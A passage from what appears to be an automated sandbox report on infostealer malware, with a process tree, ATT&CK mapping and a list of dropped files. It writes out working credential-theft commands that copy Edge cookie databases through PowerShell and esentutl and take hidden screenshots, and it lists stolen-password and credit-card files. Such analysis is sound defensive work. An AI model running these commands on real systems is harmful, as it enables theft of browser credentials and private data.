                                                  powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force"
                                                  3⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4004
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss"
                                                2⤵
                                                  PID:3620
                                                  • C:\Windows\system32\esentutl.exe
                                                    esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss
                                                    3⤵
                                                      PID:2624
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force""
                                                    2⤵
                                                      PID:1548
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force"
                                                        3⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:4624
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
                                                      2⤵
                                                        PID:332
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic path win32_VideoController get name /value
                                                          3⤵
                                                          • Detects videocard installed
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:6028
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
                                                        2⤵
                                                          PID:4304
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:2360
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
                                                          2⤵
                                                            PID:4648
                                                            • C:\Windows\system32\reg.exe
                                                              reg query "HKCU\Software\Valve\Steam" /v SteamPath
                                                              3⤵
                                                                PID:5060
                                                          • C:\Windows\system32\vssvc.exe
                                                            C:\Windows\system32\vssvc.exe
                                                            1⤵
                                                            • Checks SCSI registry key(s)
                                                            PID:1412
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                            1⤵
                                                              PID:4232
                                                            • C:\Windows\system32\sihost.exe
                                                              sihost.exe
                                                              1⤵
                                                              • Suspicious use of FindShellTrayWindow
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:3916
                                                              • C:\Windows\explorer.exe
                                                                explorer.exe /LOADSAVEDWINDOWS
                                                                2⤵
                                                                • Boot or Logon Autostart Execution: Active Setup
                                                                • Enumerates connected drives
                                                                • Checks SCSI registry key(s)
                                                                • Modifies Internet Explorer settings
                                                                • Modifies registry class
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of FindShellTrayWindow
                                                                • Suspicious use of SendNotifyMessage
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:5560
                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:3452
                                                            • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                              "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2388

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Reconnaissance

                                                                  Resource Development

                                                                  Initial Access

                                                                  Execution

                                                                  Command and Scripting Interpreter

                                                                  1
                                                                  T1059

                                                                  PowerShell

                                                                  1
                                                                  T1059.001

                                                                  Persistence

                                                                  Boot or Logon Autostart Execution

                                                                  1
                                                                  T1547

                                                                  Active Setup

                                                                  1
                                                                  T1547.014

                                                                  Privilege Escalation

                                                                  Boot or Logon Autostart Execution

                                                                  1
                                                                  T1547

                                                                  Active Setup

                                                                  1
                                                                  T1547.014

                                                                  Defense Evasion

                                                                  Modify Registry

                                                                  2
                                                                  T1112

                                                                  Virtualization/Sandbox Evasion

                                                                  2
                                                                  T1497

                                                                  Credential Access

                                                                  Credentials from Password Stores

                                                                  1
                                                                  T1555

                                                                  Credentials from Web Browsers

                                                                  1
                                                                  T1555.003

                                                                  Unsecured Credentials

                                                                  1
                                                                  T1552

                                                                  Credentials In Files

                                                                  1
                                                                  T1552.001

                                                                  Discovery

                                                                  Browser Information Discovery

                                                                  1
                                                                  T1217

                                                                  Peripheral Device Discovery

                                                                  2
                                                                  T1120

                                                                  Process Discovery

                                                                  1
                                                                  T1057

                                                                  Query Registry

                                                                  7
                                                                  T1012

                                                                  System Information Discovery

                                                                  6
                                                                  T1082

                                                                  System Location Discovery

                                                                  1
                                                                  T1614

                                                                  System Language Discovery

                                                                  1
                                                                  T1614.001

                                                                  Virtualization/Sandbox Evasion

                                                                  2
                                                                  T1497

                                                                  Lateral Movement

                                                                  Collection

                                                                  Data from Local System

                                                                  1
                                                                  T1005

                                                                  Command and Control

                                                                  Web Service

                                                                  1
                                                                  T1102

                                                                  Exfiltration

                                                                  Impact

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  All CreditCards.txt
                                                                  • Path C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\All CreditCards.txt
                                                                  • Size 52B
                                                                  • SHA256 cdc94d0ff0d871d27b41c97a0d3b9efab43dadf336a76c9eafd6002ac9e2e2cc
                                                                  • MD5 SHA1 SHA512
                                                                  Submit Download

                                                                  All History.txt
                                                                  • Path C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\All History.txt
                                                                  • Size 198B
                                                                  • SHA256 cd9b93162916a5b473a6f00ee4ee2f632c44f668b2a604e04fab5de59917072c
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  Microsoft Edge (Default).txt
                                                                  • Path C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\history\Microsoft Edge (Default).txt
                                                                  • Size 151B
                                                                  • SHA256 81ee79ac142ed3fe3bd06370f70b3920fbecb6df80f8e4ca4d2d428aaa41331f
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  All Passwords.txt
                                                                  • Path C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\passwords\All Passwords.txt
                                                                  • Size 49B
                                                                  • SHA256 15897c28890057765d3d6160037ad96db919ba6e7f64185246d0b3fa062cc920
                                                                  • MD5 SHA1 SHA512
                                                                  Submit Download

                                                                  kqhfirugezb.zip
                                                                  • Path C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\kqhfirugezb.zip
                                                                  • Size 2KB
                                                                  • SHA256 9426d3a1138798129c1688d42fc0098ac06d846cb629d1008549eac201cabbbf
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  StartupProfileData-NonInteractive
                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  • Size 1KB
                                                                  • SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  StartupProfileData-NonInteractive
                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  • Size 1KB
                                                                  • SHA256 73e508237ab29207566847c4baa7e271b3819fa45392fc59895b875b271eda9c
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  StartupProfileData-NonInteractive
                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  • Size 1KB
                                                                  • SHA256 d5a7741e5c298e378aafaf7823f6c9a3403fe82e8fd51ef0a7b51b6a2f7d9107
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  StartupProfileData-NonInteractive
                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  • Size 1KB
                                                                  • SHA256 0e3e2b18c7c146f1d8b4f17d365b8ca8c0ee6218c1817b186770f98b38c64276
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  StartupProfileData-NonInteractive
                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  • Size 1KB
                                                                  • SHA256 fe3d5d36000794b070fc380c9b8084548a6dcffc759e051bf443de8f9152d0ca
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  StartupProfileData-NonInteractive
                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  • Size 1KB
                                                                  • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  prep_Activatable Class_Hermes_perf.cache
                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                                  • Size 607B
                                                                  • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  5c1591cc-5596-467c-b06f-4197c5faa5af.tmp.node
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\5c1591cc-5596-467c-b06f-4197c5faa5af.tmp.node
                                                                  • Size 1.6MB
                                                                  • SHA256 cc355126b693df48ada69fa7402712d49500c9fb591426dcd1259e6c6ed3bbeb
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  72cef8db-adef-4233-a76f-b02dfb1cec2c.tmp.node
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\72cef8db-adef-4233-a76f-b02dfb1cec2c.tmp.node
                                                                  • Size 1.0MB
                                                                  • SHA256 5390a6e75d1276cb87b8827303c4e8fc3ed9a6e012bf3c43c6c28bd6bf308d51
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  __PSScriptPolicyTest_f4a33cwb.0in.ps1
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4a33cwb.0in.ps1
                                                                  • Size 60B
                                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  LICENSE.electron.txt
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\LICENSE.electron.txt
                                                                  • Size 1KB
                                                                  • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  LICENSES.chromium.html
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\LICENSES.chromium.html
                                                                  • Size 9.8MB
                                                                  • SHA256 c4771c9158e31855293ee565db76c9b2c52f84c8a37eda4700cfb149a17fd7eb
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  chrome_100_percent.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\chrome_100_percent.pak
                                                                  • Size 146KB
                                                                  • SHA256 2fb9826a1b43c84c08f26c4b4556c6520f8f5eef8ab1c83011031eb2d83d6663
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  chrome_200_percent.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\chrome_200_percent.pak
                                                                  • Size 220KB
                                                                  • SHA256 83d9243037b2f7e62d0fdfce19ca72e488c18e9691961e2d191e84fb3f2f7a5d
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  d3dcompiler_47.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\d3dcompiler_47.dll
                                                                  • Size 4.7MB
                                                                  • SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ffmpeg.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\ffmpeg.dll
                                                                  • Size 2.6MB
                                                                  • SHA256 18b1f088c7a1261c5fedc46eec98f34e79655128110a6f6c0b9bf62be22dbc95
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  icudtl.dat
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\icudtl.dat
                                                                  • Size 10.2MB
                                                                  • SHA256 7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  libEGL.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\libEGL.dll
                                                                  • Size 469KB
                                                                  • SHA256 76efadca4ef6d2abe6ab3701b4071e04470eebfeed8d8d22c7252683bcbb37b1
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  libGLESv2.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\libGLESv2.dll
                                                                  • Size 7.6MB
                                                                  • SHA256 150a02e43426a0886f023e88cd88454fb0e78696ea3881347a6256920c7a02ba
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  af.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\af.pak
                                                                  • Size 481KB
                                                                  • SHA256 716e296c2f663ad90cdde85c5134582fc2305e5ebe10649fc9653bea533500a6
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  am.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\am.pak
                                                                  • Size 782KB
                                                                  • SHA256 9cff5c4af5997b45fb2a384bd73560e56bcb7710149e1a7e3e172d64e6eda025
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ar.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ar.pak
                                                                  • Size 855KB
                                                                  • SHA256 516584da5741e7bb49ba6a70c9cf2ac47ff190ca9c4f692c3a30bc03a4560f50
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  bg.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\bg.pak
                                                                  • Size 892KB
                                                                  • SHA256 d223e994ad1aa6e747507187f724cdede8c369d2e8e0def50c4a6c912dba3880
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  bn.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\bn.pak
                                                                  • Size 1.1MB
                                                                  • SHA256 1e49980f89360b395a70e844ccd0c43b3a34eab84461b1499e7621f757149e3e
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ca.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ca.pak
                                                                  • Size 542KB
                                                                  • SHA256 7e8b5bd0a7a9835f20130ed17fb68242d7eb277cfaa2be6407f08c8d0dfcd500
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  cs.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\cs.pak
                                                                  • Size 558KB
                                                                  • SHA256 21916011c2668389727c8970e1407b9c0806812effab9552106da963951d9f27
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  da.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\da.pak
                                                                  • Size 505KB
                                                                  • SHA256 10dfa841d08a3ab094f83e151fdc1edbd66bf8f2392f1511e325628e4e9c7a0d
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  de.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\de.pak
                                                                  • Size 539KB
                                                                  • SHA256 400f965d457e958b063e60131d88eaacd74fdb6213ae14cf84c4b6b45809e04d
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  el.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\el.pak
                                                                  • Size 979KB
                                                                  • SHA256 58ca76aa55e11a475c830ac89010d4431f455f531079c1e8a0943490b4dd8e4b
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  en-GB.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\en-GB.pak
                                                                  • Size 439KB
                                                                  • SHA256 a672387f6fb84ade1b0c44c456ff1a19dcd464c4a9e65e439ca95a115455340f
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  en-US.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\en-US.pak
                                                                  • Size 443KB
                                                                  • SHA256 95fd54494d992d46e72dad420ceee86e170527b94d77bfaaa2bfc01f83902795
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  es-419.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\es-419.pak
                                                                  • Size 534KB
                                                                  • SHA256 dba56ab390a959dc40cb79db195e4ed6b17d4009235063f738b9ebcf41c4b5cf
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  es.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\es.pak
                                                                  • Size 534KB
                                                                  • SHA256 ea54cbe126cdd85b2799ad9600b86ca98c994e69251344163037139296ecea7c
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  et.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\et.pak
                                                                  • Size 485KB
                                                                  • SHA256 3610615dcac844cc9a64b843da606f4f8d29b1c945ecc19b288b54829d0e92e4
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  fa.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\fa.pak
                                                                  • Size 794KB
                                                                  • SHA256 34d79e8a7fa478bf3b350412160a59249e87d31932d728f0167cee89aeff2bad
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  fi.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\fi.pak
                                                                  • Size 495KB
                                                                  • SHA256 01f9669cd2fa17965f882e2cd81c39fa2face2f13ba4f024c3799f1841111ffc
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  fil.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\fil.pak
                                                                  • Size 559KB
                                                                  • SHA256 3265ae5b6c16a09b1ec9ea53181de78df75e951c3ce28f33d4c483088a9ab37b
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  fr.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\fr.pak
                                                                  • Size 577KB
                                                                  • SHA256 8a283001240c59a552945d0466e3118dc125fbc9f1a10bdea4ca4197460102ba
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  gu.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\gu.pak
                                                                  • Size 1.1MB
                                                                  • SHA256 74c62dca0b7a310aa593d1dcca8b0b0b382b052837e7cae6b87cf05b8b346b1b
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  he.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\he.pak
                                                                  • Size 696KB
                                                                  • SHA256 25281efad59a66f310cabb92da67198451567da553f2c437e52388e8fd25b9a9
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  hi.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\hi.pak
                                                                  • Size 1.2MB
                                                                  • SHA256 4b5585a8cc1a21e2dfcbd0d33f6cea87b7a583b8690f0f3635bd74bb5cbd2ed0
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  hr.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\hr.pak
                                                                  • Size 538KB
                                                                  • SHA256 d1f8093b91663d061bc2fa20426e2c430d53b06fc605ac1b0b2279d446dc9317
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  hu.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\hu.pak
                                                                  • Size 581KB
                                                                  • SHA256 0a62d168c0f6d9d651dedb4e01be5b533b94e8617535cd70ad22717748fbbc64
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  id.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\id.pak
                                                                  • Size 478KB
                                                                  • SHA256 d9fc19e683240404a60d57037f24e1d8b20cfda4c8bcacfed577b86cd8988517
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  it.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\it.pak
                                                                  • Size 527KB
                                                                  • SHA256 f38e6b6d975f8148f46dbeda89563cf71bf07af98e9b79c1a8d158b5f8f1309f
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ja.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ja.pak
                                                                  • Size 644KB
                                                                  • SHA256 6df72da472ee171acc440c20a2a194a2a4af4839b6a88323c4654c50ff8b492b
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  kn.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\kn.pak
                                                                  • Size 1.3MB
                                                                  • SHA256 333725ea1045d44acf2c19efc765bffc38cc5cea6e9977fe583ad6e203442582
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ko.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ko.pak
                                                                  • Size 544KB
                                                                  • SHA256 3ad0012db772293073acb05d24b8dfb26697d6cc5dd1612150df023dbc31b674
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  lt.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\lt.pak
                                                                  • Size 583KB
                                                                  • SHA256 946351ed2d74f247dea0f2742fc36d89225355480f0cec99d71599ccce3ea9e1
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  lv.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\lv.pak
                                                                  • Size 582KB
                                                                  • SHA256 1e6f9a40f4fa1206117063234399bd7c1e7d198cbf6c4ad633e5e18ad0929836
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ml.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ml.pak
                                                                  • Size 1.3MB
                                                                  • SHA256 f2fb440eb0518dc695810fcb854b20b72aa47e5ffc75c803aacf05861d35a94f
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  mr.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\mr.pak
                                                                  • Size 1.1MB
                                                                  • SHA256 a674db4e60152fc17a32d4b92add129adaebfc02a1a783a12653f984447c535e
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ms.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ms.pak
                                                                  • Size 502KB
                                                                  • SHA256 7707f79a2a4aec553e68af87802a0f19d3714a25311fb7b8afdc6ff4a5b6c5ff
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  nb.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\nb.pak
                                                                  • Size 487KB
                                                                  • SHA256 53b12866e7265661c0088b89653d2c1cb9220e1ec0ce0049f3095d53356b3f1c
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  nl.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\nl.pak
                                                                  • Size 503KB
                                                                  • SHA256 4736b7ec56cb845c14795e6e4fa98ddaba47c75aecec86e931f61222dff45ad9
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  pl.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\pl.pak
                                                                  • Size 560KB
                                                                  • SHA256 2191f77aabe75522166a3325e2660395479633b936d5173d150120367ed501a4
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  pt-BR.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\pt-BR.pak
                                                                  • Size 527KB
